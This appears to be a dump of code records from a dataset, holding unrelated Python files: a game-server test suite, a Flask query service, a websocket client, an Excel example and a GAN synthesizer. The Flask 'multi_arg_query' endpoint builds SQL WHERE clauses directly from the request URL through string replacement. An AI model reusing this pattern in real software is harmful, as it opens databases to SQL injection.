SimpleClient(SimpleTeam(\"team1\", TestPlayer(\"^>>v<\")), address=client1_address)\n client2 = SimpleClient(SimpleTeam(\"team2\", TestPlayer(\"^<\")), address=client2_address)\n\n client1.autoplay_process()\n client2.autoplay_process()\n server.run()\n server.shutdown()\n\n def test_simple_failing_bots(self):\n layout = \"\"\"\n ##########\n # #\n #0 .. 1#\n ##########\n \"\"\"\n server = SimpleServer(layout_string=layout, rounds=5, players=2)\n\n for bind_address in server.bind_addresses:\n self.assertTrue(bind_address.startswith(\"tcp://\"))\n\n client1_address = server.bind_addresses[0].replace(\"*\", \"localhost\")\n client2_address = server.bind_addresses[1].replace(\"*\", \"localhost\")\n\n class FailingPlayer(object):\n def _set_initial(self, dummy, dummy2):\n pass\n def _set_index(self, dummy):\n pass\n def _get_move(self, universe, game_state):\n pass\n\n client1 = SimpleClient(SimpleTeam(\"team1\", TestPlayer(\"^>>v<\")), address=client1_address)\n client2 = SimpleClient(SimpleTeam(\"team2\", FailingPlayer()), address=client2_address)\n\n client1.autoplay_process()\n client2.autoplay_process()\n server.run()\n server.shutdown()\n\n def test_failing_bots_do_not_crash_server_in_set_initial(self):\n layout = \"\"\"\n ##########\n # #\n #0 .. 1#\n ##########\n \"\"\"\n server = SimpleServer(layout_string=layout, rounds=5, players=2, timeout_length=0.3)\n\n for bind_address in server.bind_addresses:\n self.assertTrue(bind_address.startswith(\"tcp://\"))\n\n client1_address = server.bind_addresses[0].replace(\"*\", \"localhost\")\n client2_address = server.bind_addresses[1].replace(\"*\", \"localhost\")\n\n class ThisIsAnExpectedException(Exception):\n pass\n\n class FailingPlayer(AbstractPlayer):\n def set_initial(self):\n raise ThisIsAnExpectedException()\n\n def get_move(self):\n raise ThisIsAnExpectedException()\n\n old_timeout = pelita.simplesetup.DEAD_CONNECTION_TIMEOUT\n pelita.simplesetup.DEAD_CONNECTION_TIMEOUT = 0.3\n\n client1 = SimpleClient(SimpleTeam(\"team1\", FailingPlayer()), address=client1_address)\n client2 = SimpleClient(SimpleTeam(\"team2\", FailingPlayer()), address=client2_address)\n\n client1.autoplay_process()\n client2.autoplay_process()\n server.run()\n server.shutdown()\n\n pelita.simplesetup.DEAD_CONNECTION_TIMEOUT = old_timeout\n\n def test_failing_bots_do_not_crash_server(self):\n layout = \"\"\"\n ##########\n # #\n #0 .. 1#\n ##########\n \"\"\"\n server = SimpleServer(layout_string=layout, rounds=5, players=2, timeout_length=0.3)\n\n for bind_address in server.bind_addresses:\n self.assertTrue(bind_address.startswith(\"tcp://\"))\n\n client1_address = server.bind_addresses[0].replace(\"*\", \"localhost\")\n client2_address = server.bind_addresses[1].replace(\"*\", \"localhost\")\n\n class ThisIsAnExpectedException(Exception):\n pass\n\n class FailingPlayer(AbstractPlayer):\n def get_move(self):\n raise ThisIsAnExpectedException()\n old_timeout = pelita.simplesetup.DEAD_CONNECTION_TIMEOUT\n pelita.simplesetup.DEAD_CONNECTION_TIMEOUT = 0.3\n\n client1 = SimpleClient(SimpleTeam(\"team1\", FailingPlayer()), address=client1_address)\n client2 = SimpleClient(SimpleTeam(\"team2\", FailingPlayer()), address=client2_address)\n\n client1.autoplay_process()\n client2.autoplay_process()\n server.run()\n server.shutdown()\n\n pelita.simplesetup.DEAD_CONNECTION_TIMEOUT = old_timeout\n\n def test_remote_viewer_may_not_change_gm(self):\n free_obj = Free\n\n self.mean_viewer_did_run = False\n class MeanViewer(AbstractViewer):\n def set_initial(self, universe):\n universe.teams[1].score = 50\n\n def observe(self_, universe, game_state):\n self.mean_viewer_did_run = True\n\n universe.teams[0].score = 100\n universe.bots[0].current_pos = (4,4)\n universe.maze[0,0] = free_obj\n\n game_state[\"team_wins\"] = 0\n\n test_start = (\n \"\"\" ######\n #0 . #\n #.. 1#\n ###### \"\"\")\n\n number_bots = 2\n\n gm = GameMaster(test_start, number_bots, 1)\n gm.register_team(SimpleTeam(TestPlayer([(0,0)])))\n gm.register_team(SimpleTeam(TestPlayer([(0,0)])))\n\n original_universe = gm.universe.copy()\n\n self.test_viewer_did_run = False\n test_self = self\n class TestViewer(AbstractViewer):\n def observe(self_, universe, game_state):\n self.test_viewer_did_run = True\n\n # universe should not have been altered\n test_self.assertEqual(original_universe, gm.universe)\n\n # there should only be a botmoves event\n test_self.assertEqual(len(game_state[\"bot_moved\"]), 1)\n test_self.assertEqual(len(game_state[\"bot_moved\"]), 1)\n\n # We need to be able to tell when our subscriber is able to receive\n # new events from the publisher.\n # Due to its completely asynchronous approach, zmq does not even\n # provide built-in methods to check whether two or more sockets\n # are connected, so we have to figure a way to find out.\n # The approach is as follows: When the publisher starts, it\n # sends only ‘sync’ messages without a pause.\n # When a subscriber is finally connected, it will receive this message and\n # set an instance variable (`has_sync`). The main thread checks whether\n # all variables of all subscribers have been set, will stop\n # sending ‘sync’ and move on.\n # No special thread synchronisation or locking is being used. The current\n # code is hopefully simple enough not to include any race conditions.\n\n class SyncedSubscriber(SimpleSubscriber):\n def sync(self):\n self.has_sync = True\n\n address = \"ipc:///tmp/pelita-publisher-%s\" % uuid.uuid4()\n mean_viewer = SyncedSubscriber(MeanViewer(), address)\n test_viewer = SyncedSubscriber(TestViewer(), address)\n\n # must be threads because we try to access shared state\n # in the mean_viewer_did_run variable\n # (and in a bad way)\n mean_viewer_thread = mean_viewer.autoplay_thread()\n test_viewer_thread = test_viewer.autoplay_thread()\n\n publisher_viewer = SimplePublisher(address)\n\n viewers = [mean_viewer, test_viewer]\n while not all(getattr(viewer, \"has_sync\", False) for viewer in viewers):\n publisher_viewer.socket.send_json({\"__action__\": \"sync\"})\n\n # now we can register it and game_master takes care of sending messages\n gm.register_viewer(publisher_viewer)\n\n gm.set_initial()\n gm.play()\n\n # exit our threads\n publisher_viewer.socket.send_json({\"__action__\": \"exit\", \"__data__\": {}})\n\n # wait until threads stop\n mean_viewer_thread.join()\n test_viewer_thread.join()\n # must close the socket and terminate the context\n # else we may get an assertion failure in zmq\n publisher_viewer.socket.close()\n publisher_viewer.context.term()\n\n self.assertEqual(original_universe, gm.universe)\n\n # check, that the code was actually executed\n self.assertTrue(self.mean_viewer_did_run)\n self.assertTrue(self.test_viewer_did_run)\n\n def test_extract_port_range(self):\n test_cases = [\n (\"tcp://*\", dict(addr=\"tcp://*\")),\n (\"tcp://*:\", dict(addr=\"tcp://*:\")),\n (\"tcp://*:*\", dict(addr=\"tcp://*\", port_min=None, port_max=None)),\n (\"tcp://*:123\", dict(addr=\"tcp://*:123\")),\n (\"tcp://*:[123:124]\", dict(addr=\"tcp://*\", port_min=123, port_max=124)),\n (\"tcp://*:123:[124:125]]\", dict(addr=\"tcp://*:123\", port_min=124, port_max=125)),\n (\"tcp://*:123[124:125]]\", dict(addr=\"tcp://*:123[124:125]]\")),\n (\"ipc:///tmp/pelita-publisher\", dict(addr=\"ipc:///tmp/pelita-publisher\"))\n ]\n\n for test in test_cases:\n extracted = extract_port_range(test[0])\n self.assertEqual(extracted, test[1])\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/test_simplesetup.py","file_name":"test_simplesetup.py","file_ext":"py","file_size_in_byte":11036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"600321201","text":"\"\"\"\nflask_endpoints.py:\n\"\"\"\nfrom flask import jsonify\nimport flask\nimport traceback\nfrom . import flask_exceptions as exceptions\n\n# import postgres.queries.query_layer as query_layer\n\nid_mapping_blueprint = flask.Blueprint('the_nas_lan_netflix', __name__)\napp = flask.Flask(__name__)\n\n\ndef handle_exception(e, func):\n \"\"\"These exception handlers are for caught exceptions, not ones we throw voluntarily.\"\"\"\n if str(type(e).__name__) == \"SQLAlchemyError\":\n return handle_sqlalchemy_error(exceptions.SQLAlchemyError(\n message=traceback.format_exc(), status_code=520, payload=str(func) + \" in \" + str(__file__)))\n else:\n return handle_generic_error(exceptions.GenericError(\n message=traceback.format_exc(), status_code=404, payload=str(func) + \" in \" + str(__file__)))\n\n\n@id_mapping_blueprint.route('/show_health', methods=['GET'])\ndef show_health():\n try:\n return \"\"\" I AM HEALTHY \"\"\"\n except Exception as err:\n return handle_exception(err)\n\n\n# something like this\n# curl -XGET\n# http://localhost:5312/v1/mapping/multi_arg_query?query_where=sales_force_account_id=0014100001L9afNAAR\n\n@id_mapping_blueprint.route('/multi_arg_query', methods=['GET'])\ndef multi_arg_query():\n \"\"\"\n Multi Arg Query\n can preform an in depth sql query from a curl request or from browser viewing\n * the query ran against the view of total media if category not specified\n :return: the query result if possible\n \"\"\"\n try:\n\n # get the base url and then the entire url\n req_url = flask.request.url\n req_base_url = flask.request.base_url\n\n # only the arguments in the url matter\n url_args = req_url.replace(str(req_base_url) + str(\"?query_where=\"), \"\")\n\n # converting symbols to correct sql syntax - in the correct order, as to not to be changed to incorrect values\n\n args_replacement = {\"==\": \" = \", \"=\": \" = \", \"&&\": \" AND \", \"&\": \" AND \",\n \"||\": \" OR \", \"|\": \" OR \", \"WHERE\": \" WHERE \", \"NOT\": \" NOT \",\n \" AND\": \" AND \", \"AND\": \" AND \", \"OR\": \" OR \", \"IS\": \" IS \", \" \": \" \"}\n\n for arg in args_replacement.keys():\n if arg.lower() in url_args.lower():\n url_args = url_args.replace(arg, args_replacement[arg])\n\n key_words = ['where', 'is', 'or', 'not', 'and']\n\n # string split/parse the url into the query arguments\n args_list = str(url_args).split()\n\n print(\"\\npre re-assign \\n\")\n for i in range(len(args_list)):\n if i > 0:\n prev_item = args_list[i - 1]\n if prev_item is \"=\":\n args_list[i] = \"'\" + str(args_list[i]) + \"' \"\n\n if str(args_list[i]).lower() in key_words:\n # ensure it has a space\n args_list[i] = \" \" + str(args_list[i]) + \" \"\n\n new_string = \"\"\n for s in args_list:\n new_string += str(s)\n\n # args = str(new_string).replace(\" AND\", \" AND \")\n args = str(new_string)\n print(args)\n\n # RE - remove any double spaces before split\n args = str(args).replace(\" \", \" \")\n print(args)\n\n # TODO - ensure where does not start or end in a key word and that the pattern for query is held\n # pattern : column condition/arg value possible condition/arg ... repeat\n # or statements in brackets otherwise all/way mor ethan suppoosed to will be returned\n\n # QUERY\n return flask.jsonify(results=query_layer.multi_arg_curl_query(args))\n except Exception as err:\n return handle_exception(err)\n\n\n@id_mapping_blueprint.route('/query_at_view', methods=['GET'])\ndef query_at_view():\n \"\"\"\n Query At view\n can preform a basic where on the view\n :return: the query in the view result or alternatively a raised exception\n \"\"\"\n try:\n column = flask.request.args.get(\"column\")\n value = flask.request.args.get(\"value\")\n\n # QUERY\n # return flask.jsonify(results=query_layer.curl_query(column, value))\n\n return \"\"\" QUERY AT VIEW \"\"\"\n except Exception as err:\n return handle_exception(err)\n\n\n@id_mapping_blueprint.route('/show_queries', methods=['GET'])\ndef show_queries():\n \"\"\"\n Show Queries\n can represent the basic curl requests as html\n :return: html web page and funny image\n \"\"\"\n return \"\"\"\n

ID Mapping Service

\n \n \n

\n \n sql view\n

\n \n \n \n
\n \n \n
\n \n \n

Data Value

\n \n \n \n \n \"\"\"\n\n\n\n\n\n@app.errorhandler(exceptions.SQLAlchemyError)\ndef handle_sqlalchemy_error(error):\n return error_handler(error)\n\n\n@app.errorhandler(exceptions.GenericError)\ndef handle_generic_error(error):\n return error_handler(error)\n\n\ndef error_handler(error):\n \"\"\"\n Error Type Handler\n :param error: error is of a certain error type\n :return: a message error response based on the error type\n \"\"\"\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n response.error_message = error.complete_error\n return response\n","sub_path":"backend/flask_app/flask_endpoints.py","file_name":"flask_endpoints.py","file_ext":"py","file_size_in_byte":7529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"422616004","text":"import contextlib\nimport json\nimport logging\nimport time\nfrom typing import Any\n\nimport websocket\nfrom websocket import WebSocket\n\nfrom cointrade.base.stream.thread.base import ThreadBase\n\nlogger = logging.getLogger(__name__)\n\n\nclass WebSocketThread(ThreadBase):\n def __init__(self, url: str, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.url = url\n self.ws: WebSocket = None\n\n def request(self, data: Any):\n message = json.dumps(data)\n logger.debug(f'ws request {message}')\n return self.ws.send(message)\n\n def run(self):\n while not self._stop.is_set():\n with contextlib.ExitStack() as defer:\n defer.callback(lambda: (self._stop.is_set() or time.sleep(self.config.reconnect_interval)))\n ws = None\n try:\n ws = websocket.create_connection(self.url, enable_multithread=True)\n self.ws = ws\n logger.debug(f'ws connected {self.url}')\n self.on_open()\n self._connected.set()\n while not self._stop.is_set():\n message = self.ws.recv()\n self.on_message(message)\n except Exception as e:\n logger.exception(e)\n try:\n if ws:\n ws.abort()\n except Exception as e:\n logger.exception(e)\n try:\n logger.debug(f'ws disconnected {self.url}')\n self.on_close()\n except Exception as e:\n logger.exception(e)\n logger.debug(f'ws thread stopped')\n","sub_path":"cointrade/base/stream/thread/websocket.py","file_name":"websocket.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"368802670","text":"\n\n#calss header\nclass _OBSCURE():\n\tdef __init__(self,): \n\t\tself.name = \"OBSCURE\"\n\t\tself.definitions = [u'to prevent something from being seen or heard: ', u'to make something difficult to discover and understand: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_obscure.py","file_name":"_obscure.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"366044303","text":"#엑셀파일을 읽어오고 데이터를 뿌리는 연습을해보자\n#pip3 install openpyxl을 설치해야한다.\nimport openpyxl\nbook = openpyxl.load_workbook(\"stat_104102.xlsx\")\n#1번째 방법\n#print(book.get_sheet_names())\n#print(book.get_sheet_by_name(\"stat_104102\"))\n#2번째 방법\nsheet = book.worksheets[0]\nfor row in sheet.rows:\n for data in row:\n print(data.value, end=\" \")#.value라고 해서 가져오는것이 중요하다\n print(\"\", end=\"\\n\")\n\n\n#데이터쓰기(엑셀)\nworkbook = openpyxl.Workbook() \nsheet = workbook.active\nsheet[\"A1\"]=\"테스트 파일\"\nsheet[\"A2\"]=\"안녕하세요\"\nsheet.merge_cells(\"A1:C1\")#A1부터 C1까지 병합된 모습을 볼수있다.\nsheet[\"A1\"].font = openpyxl.styles.Font(size=20,color=\"FF0000\")\nworkbook.save(\"newfile.xlsx\")","sub_path":"xl.py","file_name":"xl.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"518002010","text":"from typing import Tuple\n\nfrom werkzeug import MultiDict\nfrom werkzeug.exceptions import BadRequest, NotFound\n\nfrom flask import url_for\n\nfrom arxiv import status\n\nfrom .services import store\nfrom . import compiler\nfrom .domain import CompilationStatus, CompilationProduct\n\nResponseData = Tuple[dict, int, dict]\n\n\ndef request_compilation(request_data: MultiDict) -> ResponseData:\n \"\"\"Request compilation of an upload workspace.\"\"\"\n try:\n source_id = request_data['source_id']\n checksum = request_data['checksum']\n format = request_data['format']\n except KeyError as e:\n raise BadRequest('Missing required parameter') from e\n preferred_compiler = request_data.get('compiler')\n force = request_data.get('force', False)\n\n try:\n info = store.get_status(source_id, checksum, format)\n except store.DoesNotExist as e:\n info = None\n\n if not force and info is not None:\n if info.status is CompilationStatus.Statuses.COMPLETED:\n location = url_for('api.get_status',\n source_id=source_id, checksum=checksum,\n format=format)\n else:\n location = url_for('api.get_task',\n task_id=info.task_id)\n return {}, status.HTTP_303_SEE_OTHER, {'Location': location}\n task_id = compiler.create_compilation_task(\n source_id,\n checksum,\n format,\n preferred_compiler=preferred_compiler\n )\n location = url_for('api.get_status', task_id=task_id)\n return {}, status.HTTP_202_ACCEPTED, {'Location': location}\n\n\ndef get_info(source_id: int, checksum: str, format: str) \\\n -> ResponseData:\n try:\n info = store.get_status(source_id, checksum, format)\n except store.DoesNotExist as e:\n raise NotFound('No such compilation') from e\n data = {'status': info.to_dict()}\n if info.status is CompilationStatus.Statuses.IN_PROGRESS:\n location = url_for('api.get_status', task_id=info.task_id)\n return data, status.HTTP_302_FOUND, {'Location': location}\n return data, status.HTTP_200_OK, {}\n\n\ndef get_status(task_id: str) -> ResponseData:\n try:\n info = compiler.get_task(task_id)\n except compiler.NoSuchTask as e:\n raise NotFound('No such compilation task') from e\n data = {'status': info.to_dict()}\n if info.status is CompilationStatus.Statuses.COMPLETED:\n location = url_for('api.get_info',\n source_id=info.source_id,\n checksum=info.source_checksum,\n format=info.format.value)\n return data, status.HTTP_303_SEE_OTHER, {'Location': location}\n return data, status.HTTP_200_OK, {}\n\n\ndef get_product(source_id: int, checksum: str, format: str) \\\n -> ResponseData:\n try:\n product = store.retrieve(source_id, checksum, format)\n except store.DoesNotExist as e:\n raise NotFound('No such compilation product') from e\n return product.stream, status.HTTP_200_OK, {'ETag': product.checksum}\n\n\ndef get_log(source_id: int, checksum: str, format: str) \\\n -> ResponseData:\n try:\n product = store.retrieve_log(source_id, checksum, format)\n except store.DoesNotExist as e:\n raise NotFound('No such compilation product') from e\n return product.stream, status.HTTP_200_OK, {'ETag': product.checksum}\n","sub_path":"compiler/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"582764525","text":"import numpy as np\nimport torch\nfrom packaging import version\nfrom torch import optim\nfrom torch.nn import functional\n\nfrom ctgan.conditional import ConditionalGenerator\nfrom torch.nn import BatchNorm1d, Dropout, LeakyReLU, Linear, Module, ReLU, Sequential\nfrom ctgan.sampler import Sampler\nfrom ctgan.transformer import DataTransformer\nfrom torchsummary import summary\n\nfrom ctgan.config import ctgan_setting as cfg\nfrom ctgan.logger import Logger\n\n### added for validation\nfrom sklearn.model_selection import train_test_split\nimport ctgan.metric as M\nimport optuna\n\n########################################Defining our models ################################################################\nclass Discriminator(Module):\n # Note: The lambda_ is based on WGAN + gradient penalty.\n # See Algorithm 1 in Gulrajani et. al. (2017)\n def calc_gradient_penalty(self, real_data, fake_data, device='cpu', pac=10, lambda_=10):\n # real_data.size(0) is batch size, eg. 500\n # real_data.size(1) is number of columns, eg. 15\n alpha = torch.rand(real_data.size(0) // pac, 1, 1, device=device) # eg. ([50, 1, 1])\n # duplicates alpha. For each alpha, # cols is real_data.size(1), # rows is pac.\n alpha = alpha.repeat(1, pac, real_data.size(1)) # eg. [(50, 10 , 15)]\n # change shape so that alpha is the same dimension as real_data and fake_data.\n alpha = alpha.view(-1, real_data.size(1)) # eg[(500, 15)]\n\n # Element-wise multiplication.\n # real_data.shape == fake_data.shape == interpolates.shape == eg. ([500, 15])\n # Note: See section 4 of Gulrajani et. al. (2017), Sampling distribution\n interpolates = alpha * real_data + ((1 - alpha) * fake_data)\n # Note interpolates passes through the Discriminator forward function.\n disc_interpolates = self(interpolates) # disc_interpolates.shape == eg. ([50, 1])\n\n # Computes and returns the sum of gradients of outputs w.r.t. the inputs.\n gradients = torch.autograd.grad(\n outputs=disc_interpolates, inputs=interpolates,\n grad_outputs=torch.ones(disc_interpolates.size(), device=device),\n create_graph=True, retain_graph=True, only_inputs=True\n )[0]\n\n # gradients.shape == [(500, 15)]\n gradient_penalty = ((\n # reshape to pac * real_data.size(1) sums all\n # the norm is a Frobenius norm.\n # It sums over all interpolates/gradients multiplied to same alpha previously.\n gradients.view(-1, pac * real_data.size(1)).norm(2, dim=1) - 1\n ) ** 2).mean() * lambda_\n return gradient_penalty\n\n def __init__(self, input_dim, dis_dims, pack=10):\n super(Discriminator, self).__init__()\n dim = input_dim * pack\n self.pack = pack\n self.packdim = dim\n seq = []\n print('Dropout rate: ', cfg.DROPOUT)\n for item in list(dis_dims):\n seq += [Linear(dim, item), LeakyReLU(0.2), Dropout(cfg.DROPOUT)]\n dim = item\n\n seq += [Linear(dim, 1)]\n self.seq = Sequential(*seq)\n\n def forward(self, input):\n # NOTE: disable assert so that model_summary can be printed.\n # this is because batch_size of input x is hardcoded in torchsummary.py.\n # See row 60 of torchsummary.py in torchsummary library\n # See also if model_summary in synthesizer.py\n # instead, this is imposed in synthesizer.py instead.\n # See assert self.batch_size % self.pack == 0.\n # assert input.size()[0] % self.pack == 0\n\n # input.view reshapes the input data by dividing the 1st dim, i.e. batch size\n # and group the data in concatenate manner in 2nd dim\n # example, if input dim is ([500, 15]) and pack is 10,\n # then it is reshaped to ([500/10, 15*10)] = ([50, 150])\n return self.seq(input.view(-1, self.packdim))\n\n\nclass Residual(Module): #####concatenating the input and output together\n # NOTE: a Residual layer will be created for each one of the values in gen_dims provided\n def __init__(self, i, o):\n super(Residual, self).__init__()\n self.fc = Linear(i, o)\n self.bn = BatchNorm1d(o)\n self.relu = ReLU()\n\n def forward(self, input):\n out = self.fc(input)\n out = self.bn(out)\n out = self.relu(out)\n # concatenate the columns. See 4.4 of Xu et. al (2019),\n # where h2 concat h1 concat h0 before passing through last FCs to generate alpha, beta and d.\n return torch.cat([out, input], dim=1)\n\n\nclass Generator(Module):\n def __init__(self, embedding_dim, gen_dims, data_dim):\n super(Generator, self).__init__()\n dim = embedding_dim\n seq = []\n for item in list(gen_dims):\n seq += [Residual(dim, item)]\n dim += item\n seq.append(Linear(dim, data_dim))\n self.seq = Sequential(*seq)\n\n def forward(self, input):\n data = self.seq(input)\n return data\n\n#######################Creating the model ##########################\nclass CTGANSynthesizer(object):\n \"\"\"Conditional Table GAN Synthesizer.\n\n This is the core class of the CTGAN project, where the different components\n are orchestrated together.\n\n For more details about the process, please check the [Modeling Tabular data using\n Conditional GAN](https://arxiv.org/abs/1907.00503) paper.\n\n Args:\n embedding_dim (int):\n Size of the random sample passed to the Generator. Defaults to 128.\n gen_dim (tuple or list of ints):\n Size of the output samples for each one of the Residuals. A Residual Layer\n will be created for each one of the values provided. Defaults to (256, 256).\n dis_dim (tuple or list of ints):\n Size of the output samples for each one of the Discriminator Layers. A Linear Layer\n will be created for each one of the values provided. Defaults to (256, 256).\n l2scale (float):\n Weight Decay for the Adam Optimizer. Defaults to 1e-6.\n batch_size (int):\n Number of data samples to process in each step.\n discriminator_steps (int):\n Number of discriminator updates to do for each generator update.\n From the WGAN paper: https://arxiv.org/abs/1701.07875. WGAN paper\n default is 5. Default used is 1 to match original CTGAN implementation.\n log_frequency (boolean):\n Whether to use log frequency of categorical levels in conditional\n sampling. Defaults to ``True``.\n \"\"\"\n################Initialising hyperparameters from config.py ###################################################\n def __init__(self, l2scale=1e-6, pack = 10, log_frequency=True):\n self.embedding_dim = cfg.EMBEDDING\n self.gen_dim = np.repeat(cfg.WIDTH, cfg.DEPTH)\n self.dis_dim = np.repeat(cfg.WIDTH, cfg.DEPTH)\n self.l2scale = l2scale\n self.batch_size = cfg.BATCH_SIZE\n self.epochs = cfg.EPOCHS\n self.glr = cfg.GENERATOR_LEARNING_RATE\n self.dlr = cfg.DISCRIMINATOR_LEARNING_RATE\n self.log_frequency = log_frequency\n self.device = torch.device(cfg.DEVICE) # NOTE: original implementation \"cuda:0\" if torch.cuda.is_available() else \"cpu\"\n self.trained_epoches = 0\n self.discriminator_steps = cfg.DISCRIMINATOR_STEP\n self.pack = pack # Default value of Discriminator pac.\n self.logger = Logger()\n #self.validation_KLD = []\n self.generator_loss = []\n self.discriminator_loss = []\n self.optuna_metric = None\n\n @staticmethod\n def _gumbel_softmax(logits, tau=1.0, hard=False, eps=1e-10, dim=-1):\n \"\"\"Deals with the instability of the gumbel_softmax for older versions of torch.\n ##For one-hot encoding, the authors use this instead of softmax\n\n For more details about the issue:\n https://drive.google.com/file/d/1AA5wPfZ1kquaRtVruCd6BiYZGcDeNxyP/view?usp=sharing\n\n Args:\n logits:\n […, num_features] unnormalized log probabilities\n tau:\n non-negative scalar temperature\n hard:\n if True, the returned samples will be discretized as one-hot vectors,\n but will be differentiated as if it is the soft sample in autograd\n dim (int):\n a dimension along which softmax will be computed. Default: -1.\n\n Returns:\n Sampled tensor of same shape as logits from the Gumbel-Softmax distribution.\n \"\"\"\n\n if version.parse(torch.__version__) < version.parse(\"1.2.0\"):\n for i in range(10):\n transformed = functional.gumbel_softmax(logits, tau=tau, hard=hard,\n eps=eps, dim=dim)\n if not torch.isnan(transformed).any():\n return transformed\n raise ValueError(\"gumbel_softmax returning NaN.\")\n\n return functional.gumbel_softmax(logits, tau=tau, hard=hard, eps=eps, dim=dim)\n\n#############Apply activation function #######################################################\n def _apply_activate(self, data):\n data_t = []\n st = 0\n for item in self.transformer.output_info:\n if item[1] == 'tanh':\n ed = st + item[0]\n data_t.append(torch.tanh(data[:, st:ed]))\n st = ed\n elif item[1] == 'softmax':\n ed = st + item[0]\n transformed = self._gumbel_softmax(data[:, st:ed], tau=0.2)\n data_t.append(transformed)\n st = ed\n else:\n assert 0\n\n return torch.cat(data_t, dim=1)\n###########################Calculate conditional loss ##############################\n def _cond_loss(self, data, c, m):\n loss = []\n st = 0\n st_c = 0\n skip = False\n for item in self.transformer.output_info:\n if item[1] == 'tanh':\n st += item[0]\n if self.trans == \"VGM\":\n skip = True\n\n elif item[1] == 'softmax':\n if skip:\n skip = False\n st += item[0]\n continue\n\n ed = st + item[0]\n ed_c = st_c + item[0]\n tmp = functional.cross_entropy(\n data[:, st:ed],\n torch.argmax(c[:, st_c:ed_c], dim=1),\n reduction='none'\n )\n loss.append(tmp)\n st = ed\n st_c = ed_c\n\n else:\n assert 0\n\n loss = torch.stack(loss, dim=1)\n\n return (loss * m).sum() / data.size()[0]\n\n\n#####################Fitting our model ############################################\n def fit(self, data, discrete_columns=tuple(),\n model_summary=False, trans=\"VGM\",\n trial=None, transformer=None, in_val_data=None,\n reload=False):\n \"\"\"Fit the CTGAN Synthesizer models to the training data.\n\n Args:\n data (numpy.ndarray or pandas.DataFrame):\n Whole Data. It must be a 2-dimensional numpy array or a\n pandas.DataFrame.\n discrete_columns (list-like):\n List of discrete columns to be used to generate the Conditional\n Vector. If ``data`` is a Numpy array, this list should\n contain the integer indices of the columns. Otherwise, if it is\n a ``pandas.DataFrame``, this list should contain the column names.\n epochs (int):\n Number of training epochs. Defaults to 300.\n \"\"\"\n\n self.logger.write_to_file('Generator learning rate: ' + str(cfg.GENERATOR_LEARNING_RATE))\n self.logger.write_to_file('Discriminator learning rate: ' + str(cfg.DISCRIMINATOR_LEARNING_RATE))\n self.logger.write_to_file('Batch size: ' + str(cfg.BATCH_SIZE))\n self.logger.write_to_file('Number of Epochs: '+ str(cfg.EPOCHS))\n self.logger.write_to_file('Embedding: ' + str(cfg.EMBEDDING))\n self.logger.write_to_file('Depth: ' + str(cfg.DEPTH))\n self.logger.write_to_file('Width: ' + str(cfg.WIDTH))\n self.logger.write_to_file('Dropout rate: ' + str(cfg.DROPOUT))\n self.logger.write_to_file('Discriminator step: ' + str(cfg.DISCRIMINATOR_STEP))\n self.logger.write_to_file('use cond. gen. ' + str(cfg.CONDGEN))\n\n self.trans = trans\n\n if reload:\n self.trained_epoches = 0\n\n if transformer is None:\n # NOTE: data is split to train:validation:test with 70:15:15 rule\n # Test data has been partitioned outside of this code.\n # The next step is splitting the reamining data to train:validation.\n # Validation data is approximately 17.6%.\n temp_test_size = 15 / (70 + 15) # 0.176\n exact_val_size = int(temp_test_size * data.shape[0])\n exact_val_size -= exact_val_size % self.pack\n assert exact_val_size % self.pack == 0\n\n train_data, val_data = train_test_split(data, test_size=exact_val_size, random_state=42)\n\n if not reload:\n if not hasattr(self, \"transformer\"):\n self.transformer = DataTransformer()\n self.transformer.fit(data, discrete_columns, self.trans)\n train_data = self.transformer.transform(train_data)\n else:\n # transformer has been saved separately.\n # input data should have been transformed as well.\n self.transformer = transformer\n train_data = data\n\n if in_val_data is None:\n ValueError('Validation data must be provided')\n\n # val_data is not transformed. For computation of KLD.\n val_data = in_val_data\n\n#################Sample real data ############################################################\n data_sampler = Sampler(train_data, self.transformer.output_info, trans=self.trans)\n\n data_dim = self.transformer.output_dimensions\n self.logger.write_to_file('data dimension: ' + str(data_dim))\n\n if not reload:\n if not hasattr(self, \"cond_generator\"):\n self.cond_generator = ConditionalGenerator(\n train_data,\n self.transformer.output_info,\n self.log_frequency,\n trans=self.trans,\n use_cond_gen=cfg.CONDGEN\n )\n\n if not hasattr(self, \"generator\"):\n self.generator = Generator(\n self.embedding_dim + self.cond_generator.n_opt,\n self.gen_dim,\n data_dim\n ).to(self.device)\n\n if not hasattr(self, \"discriminator\"):\n self.discriminator = Discriminator(\n data_dim + self.cond_generator.n_opt,\n self.dis_dim,\n pack=self.pack\n ).to(self.device)\n\n if not hasattr(self, \"optimizerG\"):\n self.optimizerG = optim.Adam(\n # self.generator.parameters(), lr=2e-4, betas=(0.5, 0.9),\n self.generator.parameters(), lr=self.glr, betas=(0.5, 0.9),\n weight_decay=self.l2scale\n )\n\n if not hasattr(self, \"optimizerD\"):\n self.optimizerD = optim.Adam(\n # self.discriminator.parameters(), lr=2e-4, betas=(0.5, 0.9))\n self.discriminator.parameters(), lr=self.dlr, betas=(0.5, 0.9))\n\n # assert self.batch_size % 2 == 0\n # NOTE: in Discriminator forward function,\n # there is a reshape of input data, i.e. input.view() that is dependent on self.pack.\n assert self.batch_size % self.pack == 0\n mean = torch.zeros(self.batch_size, self.embedding_dim, device=self.device)\n std = mean + 1\n\n if model_summary:\n print(\"*\" * 100)\n print(\"GENERATOR\")\n summary(self.generator, (self.embedding_dim + self.cond_generator.n_opt,))\n print(\"*\" * 100)\n\n print(\"DISCRIMINATOR\")\n 